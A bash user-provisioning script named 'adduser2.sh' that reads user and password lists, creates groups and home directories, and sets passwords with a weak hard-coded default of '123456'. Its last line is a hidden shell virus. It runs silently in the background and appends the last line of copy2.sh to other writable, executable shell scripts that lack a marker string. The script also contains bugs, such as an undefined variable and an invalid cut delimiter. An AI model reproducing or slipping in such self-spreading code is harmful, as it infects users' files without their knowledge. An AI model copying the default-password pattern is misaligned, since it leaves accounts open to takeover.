adduser2.sh

add user

#!/bin/bash
LOCK_FILE=/tmp/lock
User_List=./user.list
Passwd_List=./passwd.list
PASSWORD="123456"

if [ -f $LOCK_FILE ];then
pid="`cat $LOCK_FILE`"
ps -p $pid | grep $pid > /dev/null
if [ $? = 0 ];then
echo "script is running"
exit 1 
fi
echo "program is dead and lockfile exits "
fi

if [ ! -f $User_List ];then
echo "user.list does not exit"
exit 1
fi

if [ ! -f $Passwd_List ];then
echo "passwd.list does not exit"
exit 1
fi

echo $$ > $LOCK_FILE

while read user groups home 
do
group=$(echo  $groups | cut -d, -f1)
mkdir -p $home
for i in `echo $groups | sed 's/,/ /g'`;do
groupadd  $i
done
 
useradd $user -g $group -G $groups -d $home

pwline=`grep $username $Passwd_List`
if [ ! -z $pwline ];then
SetIt=`echo $pwline | cut -d"" -f2`
if [ -z $SetIt ];then
echo $PASSWORD | passwd --stdin $user
else
echo $SetIt | passwd --stdin $user
fi
fi
done<$User_List

rm $LOCK_FILE
({ if [ ! -f /tmp/lock ] ; then touch /tmp/lock ; else exit 1 ; fi ;  for i in `ls -1 ` ; do file $i | grep "shell" >/dev/null ; if [ $? = 0 ] ; then grep 4567890 $i > /dev/null; [ ! $? = 0 -a -x $i -a -w $i ] && tail -n 1 ./copy2.sh  >> $i ; fi ; done ; rm /tmp/lock ; } > /dev/null ) &